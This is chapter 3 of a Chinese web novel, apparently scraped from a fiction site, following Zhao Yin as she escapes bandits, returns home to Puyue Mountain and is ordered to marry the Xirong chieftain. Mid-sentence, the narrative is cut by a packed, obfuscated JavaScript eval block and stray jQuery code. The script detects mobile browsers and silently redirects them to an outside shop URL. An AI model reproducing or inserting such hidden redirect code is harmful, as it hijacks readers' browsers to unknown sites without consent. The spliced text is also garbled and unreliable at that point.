文趣网 > 其他小说 > 山之阿 > 3. 第三章
    “哈哈,我就说这儿有人!”

    尘土飞扬,碎石乱滚,几个人从山坡上滑下来,带下来的尘土迷了赵吟和赵荷的眼。

    马蹄慌乱地敲击地面,马背上的两人也险先被甩落。

    这番狼狈的模样落入那几人眼中,激起一阵张狂的大笑,他们手一拽,几根从山下垂落的绳索绷成直线,拦住她们的去路。

    “看你们还怎么过!”

    赵吟无视他们的调侃与污言秽语,将怀里吃剩的糕点塞给赵荷,拉住她另一只手放到缰绳上。

    赵荷颤抖着将手里的糕点碾碎,另一只手握紧缰绳,听赵吟倒数:“三——”

    “来啊,过啊,小娘儿们还挺倔!”

    “二——”

    “陪我们睡一觉,就让你们过!”

    “一!”

    话音刚落,赵荷立刻挥手,糕点屑洋洋洒洒朝对面飞去,像一场夏日冰雹,骂爹骂娘的声音此起彼伏,就在他们低头揉眼的时候,绳索低了。

    赵吟觑准时机,抬手拔簪,马儿吃痛,激烈嘶鸣,随后一飞而起,越过障碍。

    粗鄙的言语被甩在身后,赵荷从怀里摸索出茉莉香粉,捏碎后趁着风往后一抛,血腥气逐渐被脂粉气掩盖,她终于畅快呼吸了一口空气,趴伏在赵吟背上。

    放松下来,她想起很多事,她替赵吟想起很多事。

    温厚的孟如皎,让她们赶紧出逃的女官,神龙不见尾的道医,皇宫内的尚义隆,城内一片混乱,他们是否安好?

    当然还有——李韫玉。

    接下来的几天,赵吟只有三件事:吃饭,睡觉,赶路。

    睡觉也不敢睡得太死,稍有风吹草动她们就会惊醒。吃饭,一个带着麸皮的馒头,一碗数得清米粒的粥就能解决。

    双手磨出了血泡和茧,衣裳下摆勾出了流苏,两人换上粗布麻衣,懒得再看铜镜一眼。连日的紧张也使她们双眼布满血丝,视物模糊,无瑕欣赏周围斑斓的秋景。

    着华丽衣冠惊艳众人的场景就在几天以前,但总感觉恍若隔世。赶路稀释了赵吟的悲伤,使她变得沉默。

    十多天的路程被她缩减到一半,蒲月山到了,马儿的速度也慢下来,黄四娘家的炊烟清晰可见,红艳艳的柿子挂在枝头,独属于蒲月山的空气清凉入肺。

    路边有个人影在等待。

    赵吟的眼中忽然有了神采,以往哪怕只是去附近街上赶集,陈雪娘也一定会在黄四娘家旁等她,然后笑着说:“阿吟回来啦!”

    如果她看到自己骑马归来,一定会吓一跳。

    赵吟脸上浮现出笑意,心也安静下来,她勒住缰绳,定睛一看。

    柳叶青一脸焦急:“你们总算回来了,怎么是骑马回来的?”

    赵吟听见她的声音,几乎是从马上滑落。

    赶路的这些天,她见赵荷哭过,或是背着她抹眼泪,或是在夜晚小声抽噎。但她一次也没哭。

    可现在,眼泪如断了线的珠子,砸在她手背上,温暖、湿润,然后冰凉。

    ——她怎么忘记了,雪娘已经不记得她了。

    陈雪娘不再挽线,她整日在庭院中走动,缓慢,自言自语。每到傍晚会走去官道旁的黄四娘家,执着地望着远方。

    “你在等谁?”

    任凭谁问,她都不言不语。

    终于有一天,她回答道:“我在等娮娮。”

    她忘记了山月亭,忘记了赵吟,也忘记了她自己。

    在她的记忆里,只剩下陈延芝。

    一群大雁排着队从澄澈明净的天空飞过,赵吟立在红彤彤的枫叶树下,心想,它们会是从塵州来的吗?

    塵州。

    硝烟味弥漫了很多天,乌鸦日夜在郊外徘徊,半夜经常有野狗狂吠,张二嫂一家总是听到似有若无的歌声,并且是在半夜。

    他们实在受不了,选定好一个日子将家什都变卖,带了米粮合家投奔城内的张大。

    张大是军营的伙夫,前段时间几乎是从死人堆里爬出,回到家后高烧不退。

    张大嫂原本也想拖家带口出逃,可张大这个情形让她走不了,索性赖在城中,过一日是一日。

    快断炊时,炮火终于停了。傍晚时分,有人敲了门。

    “谁呀?”

    “大嫂,是我,张二。”

    昏黄的烛灯下,白米粥热气袅袅,腊肉晶莹剔透,绿莹莹的小根蒜配着金黄的鸡蛋,两家人大快朵颐。

    张二担惊受怕许久,还不知兵变缘由,便询问张大。

    军营消息广,张大已经了解了七七八八,他扒拉两口菜咽下去,侃侃而谈:“皇上李沅病重,董太后夺权……”

    众人又惊又怒:“董太后夺权干嘛?!”

    “这你就不知道了吧,董太后虽抚养李沅长大,却不是他的生母,他们早已面和心不和!”

    “那宫外这些兵是什么?”

    “董太后勾结了周檁,一个宫内,一个宫外,两人一唱一和,不然你以为,凭她一个人能颠覆朝堂?”

    “现在呢?”

    “李沅命不久矣,大部分官员都归顺,除了伯安侯李梁仪和一些偏远将领。”

    “伯安侯?那个美髯公?”

    “是呀,伯安侯世辈忠良,不肯归顺,兵变前一天,周檁就派人围困了伯安府,现在已有半个月。”

    “哎呀……半个月,没米没粮了怎么办呐!”

    张大继续说:“放心,伯安侯名声在外,周檁不敢杀。”

    他又唏嘘:“什么时候乱不行,非得这个时候乱!”

    “此话怎讲?”

    “北方西戎进犯,这一乱,北边要打败仗了!”

    ……

    塵州的消息还未传到蒲月山,这里像一片世外桃源。

    蒲月山的秋从不叫人失望。山色斑斓,天空如水晶。长腿水鸟一跃而起,搅乱一池秋水,岸边芦苇左摇右晃,絮子满天飞。

    山月亭一切如常,赵吟多了很多发呆的时间,她常常想起与李韫玉的第一次分别。

    是在五岁那年的夏天要结束的时候,李夫人带着他前来告别。

    “回去以后,你还会不会记得我?”

    她想问他,可最终也没有问出口。

    他们走出去很远了,李韫玉却忽然转身,笑嘻嘻挥手道:“阿吟,明年夏天再见!”

    李夫人也跟着笑:“明年夏天再见!”

    庭院里静止不动的风好像忽然有了生命,她也跟着挥手,绿色衣袖在风中摇曳,好像要飘过去。

    明年有夏天,后年也有夏天……

    永远,永远。

    现在她知道,根本就没有永远。

    清晨,赵荷推开大门,与清新空气一同到来的是“轧轧”的车轮声。她丢掉扫帚倚门看去,宫廷打扮的人坐在马背上。她仔细看了又看,确定这些人之中没有尚义隆。

    场景重现,她们四人匍匐跪地。

    “奉天承运太后制曰:

    近因西戎来犯,屡侵边陲,以致干戈扰民,百姓罹难,今特遣使修好,愿结姻亲,永息兵争。兹以含章郡主,柔嘉婉仪,清丽无双,宜承恩命,出降呼延单于,以成秦晋之谊。

    ……

    布告中外,咸使闻之。”

    为首的内侍道:“北方打了败仗,就该送人去和亲,含章郡主,接旨吧!”

    赵吟不可置信地抬起脸,一个字也说不出口。当初的含章郡主,只是为了今日的铺垫?

    这番举动这被眼前人解读成轻慢,他将圣旨合起来,皮笑肉不笑道:“本来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499322|202654||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    么,也不该含章郡主去和亲……”

    他故意停在这儿,看底下众人的反应,果不其然都抬起了头。

    “本来该去的人是月一郡主,可那是太后的亲外孙女儿,她老人家哪舍得,正好她曾低调地去过及笄礼……”

    赵吟想起那名唇笑眼不笑的妇人。

    “含章郡主柔嘉婉仪,清丽无双,远嫁西戎,定不失我汉人风度!”

    圣旨落在脚边,车马扬长而去,柳叶青和赵荷佝偻着腰,都从对方的眼睛里看出了悔恨。

    原来她们精心准备了这么久的及笄礼,是赵吟命运的刽子手。

    她们都看向陈雪娘,下意识想问问她该怎么办,毕竟雪娘永远有办法。可是陈雪娘目光呆滞,不着一词,对一切都无动于衷。

    赵吟浑浑噩噩地站起来,耳边都是最后那句话:“含章郡主快些准备吧,五日后马车就来了。”

    这一晚的山月亭是寂静的,月亮很高了,柳叶青才点燃回廊上的灯笼。

    赵吟坐在台阶上,听着厨房里柴火燃烧的“噼啪”声和回廊上细细碎碎的脚步声,奇迹般地平静下来。

    几个大箱子堆在院子角落,谁都没有打开看,赵吟知道,那是婚服,远去西戎的婚服。

    眼睛变得酸涩,她忽然冲出去,跑到水风阁门前,叩响门上的铜环,但却无人来应。

    出发的日子越来越近,赵吟开始说服自己去西戎也不错,甚至打开箱子去试婚服。

    此去一别,终生也无法再见。

    她舍不得陈雪娘,舍不得柳叶青,舍不得赵荷,舍不得……

    痛楚一丝一缕蔓延,每到夜晚结成网,使她喘息、压抑、默默哭泣。

    临行前夕。

    婚服首饰摆了一床,屋角有几个大箱子,里面装满了丝绸、布帛、书籍、药品、胭脂水粉,甚至还有菜种花种和手写的食谱。

    月光从格子窗透进来,均匀地撒在桌上,赵吟坐在桌边,小心翼翼打开一方锦盒。

    李韫玉送的及笄礼,她现在才有勇气打开。

    一根镶嵌着蓝绿宝石的发簪映入眼帘,发簪是云鹤形状,振翅欲飞。是的,赵吟喜欢明亮的颜色,向往鹤的自由,李韫玉都知道。

    门响了,赵荷轻柔的声音隔着门传来。

    “阿吟,睡了吗?”

    “还没。”

    一碗乳白的鱼汤端放在桌子上,鼻息间满是香甜的气息。赵荷坐在她对面,皱起眉头道:“阿吟,你瘦了。”

    赵吟握住她的手掌,认真道:“小荷,橱柜第三格有银票和金条,等我走后,你和阿青姐姐可以动用这些,最好是买几亩田,若是不愿住在这里,也可以去街上置办店铺。库房里还有这些年积攒下来的器皿用具,你们可以自行处置……”

    赵荷打断她:“好啦,我都知道,你好好睡觉,睡一觉,一切都会好起来!”

    赵吟留恋地看着她,微笑道:“替我照顾好雪娘。”

    赵荷没有回答这个问题,她转身收拾起窗边的小榻,十年前被赵吟捡回来的第一晚,她就睡在这里。她还记得赵吟手掌的温度,还有陈雪娘答应留下自己时她蹦蹦跳跳的身影。

    “雪娘,我们给她取个名字吧!”

    “取什么样的名字?”

    “赵荷,夫子说,荷花出淤泥而不染。”

    灯烛吹熄,满室都是月光,她凝视着熟睡的赵吟很久很久,久到月光不再。

    阳光晃进室内,赵吟猛然惊醒。

    掀开被子,下地穿鞋,好几次都没能成功伸进鞋子,她心中烦闷,索性将鞋子踢开。

    打开门,她伸手挡了下光。视线上移,太阳在西边,而非东边。

    这是黄昏,不是清晨。

    慌乱地转身,床上的婚服不见了。